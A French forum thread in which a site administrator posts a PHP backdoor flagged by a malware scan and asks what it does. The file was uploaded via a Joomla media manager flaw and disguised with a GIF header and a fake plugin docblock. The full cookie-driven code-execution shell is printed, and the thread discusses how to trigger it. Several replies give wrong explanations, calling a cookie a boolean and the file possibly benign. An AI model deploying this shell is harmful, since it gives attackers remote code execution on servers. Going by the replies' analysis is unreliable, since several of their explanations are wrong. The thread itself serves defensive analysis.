Sécurité WEB

Résolu/Fermé
kaiser35 Messages postés 18 Date d'inscription lundi 15 décembre 2008 Statut Membre Dernière intervention 11 octobre 2013 - 10 oct. 2013 à 11:32
kaiser35 Messages postés 18 Date d'inscription lundi 15 décembre 2008 Statut Membre Dernière intervention 11 octobre 2013 - 11 oct. 2013 à 11:45
Bjr,

mon scan MALDET récent me reporte un hit {CAV}PHP.Hide.
Le fichier en question est uploadé par la vulnérabilité du gestionnaire de médias Joomla avec l'extension ".php.".
Voici le contenu:

GIF89a
<?php
/**
* @package Joomla.Plugin
* @subpackage system.instantsuggest
*
* @copyright Copyright (C) 2013 InstantSuggest.com. All rights reserved.
* @license GNU General Public License version 2 or later
*/
/**
* Instant Suggest Ajax
*
* @package Joomla.Plugin
* @subpackage system.instantsuggest
* @since 3.1
*/

$filter = @$_COOKIE['p3'];
if ($filter) {
$option = $filter(@$_COOKIE['p2']);
$auth = $filter(@$_COOKIE['p1']);
$option("/123/e",$auth,123);
die();
}

A priori, l'accès est protégé sur la possession d'un cookie précis.
Est-ce que quelqu'un est en mesure de décrire ce que procure exactement le code PHP ?
A voir également:

8 réponses

Utilisateur anonyme
10 oct. 2013 à 16:16
oyo

de ce que tu montre, le cookie p3 correspond à un booléen qui indique si un filtrage doit être fait, et si oui, les valeur p1 et p2 dans le cookie sont récupérés.
die() termine le chargement.

par contre je ne sais pas ce que fait
$option("/123/e",$auth,123);
car $option étant une chaine, je ne vois pas dans quelle mesure ca pourrait être utilisé comme fonction .

(ce qui se trouve au dessus est sans importance.)

naga
0
kaiser35 Messages postés 18 Date d'inscription lundi 15 décembre 2008 Statut Membre Dernière intervention 11 octobre 2013 3
11 oct. 2013 à 09:28
Merci pour ton explication.
C'est justement la chaine
$option("/123/e",$auth,123);
qui m'intrigue le plus.
Vois-tu un quelconque moyen d'exploiter ce fichier via HTTP ?
Dans une requête POST avec CURL ou WGET ?
0
Utilisateur anonyme
11 oct. 2013 à 09:44
OK ! j'ai trouvé avec un ami : en fait lorsque tu fais :
$option = $filter(@$_COOKIE['p2']);

$option récupère le nom d'une fonction et, en php, ce string devient la fonction. Par exemple :

tu as la fonction :

<?php
function echoconcat($a,$b)
{
echo $a . $b;
}

?>

si tu fais :

<?php
$Func = "echoconcat";
$Func("sa","lut");
?>

ca affichera "salut" \o/

naga
0
kaiser35 Messages postés 18 Date d'inscription lundi 15 décembre 2008 Statut Membre Dernière intervention 11 octobre 2013 3
11 oct. 2013 à 10:01
Chapeau !
C'est donc un backdoor comme je le pensais qui permettra d'exécuter des commandes via l'utilisateur avec lequel PHP est interprété.

Est-ce que tu vois comment je pourrais l'utiliser pour en tester les conséquences et limites ?
0

Vous n’avez pas trouvé la réponse que vous recherchez ?

Posez votre question
Utilisateur anonyme
11 oct. 2013 à 10:55
et bien déjà, on sait que 'p3' est un boléen.
Ensuite on peu aussi dire que 'p2' est le nom d'un fonction qui nécessite 2 paramètres.

Donc de mon point de vue, cette page est une page générique: vu qu'on est dans le carde d'un cms, pas mal de page se doivent d'être générique, principalement pour les modules que l'on ajoute. Je pense donc que cette partie est utile au chargement d'un module, quelque soit le module, en lui passant en paramètre une fonction qui le charge. De plus, il semblerai que cette page soit une popup (ou qui s'y apparente) : le "die()" arrêtant le chargement de la page.

Cependant, je serai plus à même de penser que c'est ce qui permettrai de vérifier un log : si 'p3' est à vrai on doit vérifier quelquechose, et je pencherai sur le fait que 'p2' soit un nom d'utilisateur.

Mon soucis est surtout que je ne connais pas le contexte globale et donc je ne sais pas dans quelle mesure cette page est appelée.

Petite question : tu as fournis un copié collé complet où tu l'as édité ? (je pose la question vis à vis du répertoire 123/e => s'il existe, que contient t'il?)

naga
0
kaiser35 Messages postés 18 Date d'inscription lundi 15 décembre 2008 Statut Membre Dernière intervention 11 octobre 2013 3
Modifié par kaiser35 le 11/10/2013 à 11:09
Le fichier a été uploadé tel quel.
La supervision a mis de suite le fichier en quarantaine donc il n'a pas été exploité.
Il n'a pas de dossier "123/e", ni aucun autre fichier créé/modifié en se basant sur la date du backdoor.

L'upload a été réalisé grâce aux failles connus du média manager de Joomla.
Je ne pense pas que ce soit dépendant des appels aux modules, de mon point de vue c'est un accès direct à toutes les fonctions PHP autorisées + paramètres.

La partie authentification reste un peu obscure...
En modifiant un peu le code, j'ai bien réussit à faire exécuter un phpinfo() par exemple via des cookies.
0
Utilisateur anonyme
11 oct. 2013 à 11:26
mmmh du coup si cette page n'est pas exploitée (car en quarantaine) et que tout fonctionne correctement, c'est donc probablement un résidu de code, mais je parle sans avoir de certitudes, juste des idées.
Honnêtement je n'en sais pas plus ..


naga

PS : une idée (mais c'est vraiment ce qui me passe par la tête) : on passe en paramètre "/123" le $auth et 123 ... ca pourrai par exemple pour vérifier les droits de auth dans tous les répertoire, "123" étant le joker, mais ca me parait un peu tiré par les cheveux
0
kaiser35 Messages postés 18 Date d'inscription lundi 15 décembre 2008 Statut Membre Dernière intervention 11 octobre 2013 3
11 oct. 2013 à 11:45
Possible...
Dans tous les cas, je sais maintenant ce qu'il est possible de faire et à peu près comment avec ce type de fichier s'il est interprété.

PHP offre trop de possibilités.
Merci de ton aide.
0